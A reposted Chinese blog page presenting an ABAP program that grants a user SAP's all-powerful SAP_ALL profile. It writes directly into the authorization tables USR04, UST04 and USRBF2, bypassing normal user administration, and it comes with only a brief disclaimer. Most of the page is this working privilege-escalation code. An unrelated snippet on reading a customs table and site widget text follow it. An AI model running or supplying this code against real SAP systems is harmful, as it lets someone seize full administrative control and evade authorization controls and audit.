给用户添加SAP_ALL权限程序

给用户加SAP_ALL的权限

给用户增加SAP_ALL的权限,报表可对basis与abap开发人员对用户权限管理的思路,谢绝用于其它用途,后果自负。 

    REPORT ZTESTCREATEUSER.
DATA: L_USR04 LIKE  USR04 ,
      GT_USER04 LIKE TABLE OF USR04 WITH HEADER LINE,

    L_UST04 LIKE TABLE OF UST04 WITH HEADER LINE ,

    L_PROFS LIKE USR04-PROFS ,

    L_USRBF2 LIKE TABLE OF USRBF2  WITH HEADER LINE,

    L_USERID LIKE USR01-BNAME.

TABLES : USR01.

SELECT-OPTIONS: P_USER FOR USR01-BNAME .

START-OF-SELECTION.

  SELECT SINGLE * INTO L_USR04 FROM USR04

  WHERE BNAME IN P_USER.

  MOVE 'C SAP_ALL' TO L_PROFS .

  L_USR04-NRPRO = '14'.

  L_USR04-PROFS = L_PROFS.

  MOVE L_USR04 TO GT_USER04.
  APPEND GT_USER04.

  UPDATE USR04 FROM TABLE GT_USER04.                        " L_USR04 .

  IF SY-SUBRC = 0.
    WRITE:/ 'ok1'.
  ELSE.
    WRITE:/ 'ERR1'.
  ENDIF.


  L_USERID = L_USR04-BNAME.

  SELECT * INTO TABLE  L_UST04  FROM UST04  WHERE BNAME  IN P_USER.

    LOOP AT  L_UST04.

      L_UST04-PROFILE = 'SAP_ALL'.

      MODIFY L_UST04 TRANSPORTING PROFILE.

    ENDLOOP.


   MODIFY UST04 FROM  TABLE L_UST04.                       "L_UST04 .
    IF SY-SUBRC = 0.
      WRITE:/ 'ok2'.
    ELSE.
      WRITE:/ 'ERR2'.
    ENDIF.


    SELECT *  INTO TABLE L_USRBF2  FROM USRBF2   WHERE BNAME like 'SAP%' .

    L_USRBF2-BNAME = L_USERID. " 'abc'.

    MODIFY L_USRBF2 TRANSPORTING BNAME WHERE BNAME <> L_USERID ."'abc'.


    modify USRBF2 FROM TABLE L_USRBF2 .
    IF SY-SUBRC = 0.
      WRITE:/ 'ok3'.
    ELSE.
      WRITE:/ 'ERR3'.
    ENDIF.
  

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/asdfak/archive/2010/10/15/5942712.aspx

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10339719/viewspace-686864/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10339719/viewspace-686864/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
假设你想从中间表 EDSAP.SY_CUSTOMS_DN 中获取以下字段的数据:MANDT、DOWNLOAD_DATE、DOWNLOAD_TIME、SALES_NO、CUSTOMS_NO、SUPV_MODENM、TRANS_MODE、SAP_STATE、SAP_UPSTATE、SAP_UPSTATE_DATE、SAP_UPSTATE_TIME。 在 SAP 中,你可以使用 ABAP 程序来读取中间表的数据。以下是一个简单的 ABAP 程序示例,可供参考: ```abap REPORT Z_READ_SY_CUSTOMS_DN. TABLES: EDSAP.SY_CUSTOMS_DN. DATA: lt_customs_dn TYPE TABLE OF EDSAP.SY_CUSTOMS_DN, ls_customs_dn TYPE EDSAP.SY_CUSTOMS_DN. SELECT MANDT DOWNLOAD_DATE DOWNLOAD_TIME SALES_NO CUSTOMS_NO SUPV_MODENM TRANS_MODE SAP_STATE SAP_UPSTATE SAP_UPSTATE_DATE SAP_UPSTATE_TIME INTO TABLE lt_customs_dn FROM EDSAP.SY_CUSTOMS_DN. LOOP AT lt_customs_dn INTO ls_customs_dn. WRITE: / ls_customs_dn-MANDT, ls_customs_dn-DOWNLOAD_DATE, ls_customs_dn-DOWNLOAD_TIME, ls_customs_dn-SALES_NO, ls_customs_dn-CUSTOMS_NO, ls_customs_dn-SUPV_MODENM, ls_customs_dn-TRANS_MODE, ls_customs_dn-SAP_STATE, ls_customs_dn-SAP_UPSTATE, ls_customs_dn-SAP_UPSTATE_DATE, ls_customs_dn-SAP_UPSTATE_TIME. ENDLOOP. ``` 以上的 ABAP 程序将从表 EDSAP.SY_CUSTOMS_DN 中选择指定的字段,并将结果存储在一个内表 lt_customs_dn 中。然后,通过循环内表,你可以逐行访问数据,并将其输出到屏幕上。 请注意,这只是一个简单的示例,实际情况下可能需要根据你的具体需求进行修改和扩展。你可能还需要添加错误处理、筛选条件等。此外,确保你有足够的权限来访问该中间表和相关的数据。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值